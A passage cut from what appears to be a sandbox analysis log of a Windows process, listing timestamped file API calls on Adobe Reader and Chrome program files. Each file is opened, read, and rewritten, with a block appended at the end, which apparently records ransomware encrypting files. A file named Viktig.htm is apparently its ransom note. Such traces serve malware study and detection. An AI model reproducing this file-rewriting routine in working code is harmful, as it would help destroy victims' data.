10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.802] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.802] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x41b2 [0046.803] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.803] ReleaseMutex (hMutex=0x128) returned 1 [0046.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Viktig.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Viktig.htm", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Viktig.htm", lpUsedDefaultChar=0x0) returned 10 [0046.803] ReadFile (in: hFile=0x1b0, lpBuffer=0x26176a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x26176a8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.820] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x31b2 [0046.820] ReadFile (in: hFile=0x1b0, lpBuffer=0x2616308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2616308*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.825] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x31b2 [0046.825] WriteFile (in: hFile=0x1b0, lpBuffer=0x2618368*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2618368*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.825] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.826] WriteFile (in: hFile=0x1b0, lpBuffer=0x2616308*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2616308*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.826] CloseHandle (hObject=0x1b0) returned 1 [0046.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\drive.crx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.826] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.826] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x63d9 [0046.826] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.826] ReleaseMutex (hMutex=0x128) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drive.crx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drive.crx", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drive.crx", lpUsedDefaultChar=0x0) returned 9 [0046.826] ReadFile (in: hFile=0x1b0, lpBuffer=0x2616308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2616308*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.849] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x53d9 [0046.849] ReadFile (in: hFile=0x1b0, lpBuffer=0x26156d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x26156d8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.870] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x53d9 [0046.870] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deaea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.870] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.870] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de7e48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de7e48*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.870] CloseHandle (hObject=0x1b0) returned 1 [0046.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0046.871] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.871] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x84ca7 [0046.871] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.871] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.871] ReleaseMutex (hMutex=0x128) returned 1 [0046.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.871] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg.pak", lpUsedDefaultChar=0x0) returned 6 [0046.871] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a274c8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a274c8*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.923] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a274c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a274c8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.251] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x83ca7 [0047.251] ReadFile (in: hFile=0x1b0, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.421] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x83ca7 [0047.421] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4e5b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4e5b8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.428] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.428] WriteFile (in: hFile=0x1b0, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.428] WriteFile (in: hFile=0x1b0, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.428] CloseHandle (hObject=0x1b0) returned 1 [0047.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.428] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.429] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x512b8 [0047.429] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.429] ReleaseMutex (hMutex=0x128) returned 1 [0047.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="es.pak", lpUsedDefaultChar=0x0) returned 6 [0047.429] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.439] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x502b8 [0047.439] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dac408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.453] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x502b8 [0047.454] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deee48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.454] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.454] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.454] CloseHandle (hObject=0x1b0) returned 1 [0047.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.455] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.455] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x54a87 [0047.455] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.455] ReleaseMutex (hMutex=0x128) returned 1 [0047.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hu.pak", lpUsedDefaultChar=0x0) returned 6 [0047.455] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.520] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x53a87 [0047.520] ReadFile (in: hFile=0x1b0, lpBuffer=0x276c388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.545] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x53a87 [0047.545] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d2d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d2d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.546] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.546] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.546] CloseHandle (hObject=0x1b0) returned 1 [0047.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ms.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.546] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.546] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3e2ed [0047.547] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.547] ReleaseMutex (hMutex=0x128) returned 1 [0047.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ms.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ms.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms.pak", lpUsedDefaultChar=0x0) returned 6 [0047.547] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.548] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3d2ed [0047.548] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d2d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x261d2d8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3d2ed [0047.549] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d2d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d2d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.549] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.549] CloseHandle (hObject=0x1b0) returned 1 [0047.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x79e3c [0047.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.550] ReleaseMutex (hMutex=0x128) returned 1 [0047.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sr.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sr.pak", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sr.pak", lpUsedDefaultChar=0x0) returned 6 [0047.550] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.555] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x78e3c [0047.555] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d2d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x261d2d8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x78e3c [0047.563] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0047.563] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.564] CloseHandle (hObject=0x1b0) returned 1 [0047.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-tw.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0047.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x42194 [0047.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0047.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.564] ReleaseMutex (hMutex=0x128) returned 1 [0047.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-TW.pak", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-TW.pak", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-TW.pak", lpUsedDefaultChar=0x0) returned 9 [0047.564] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, 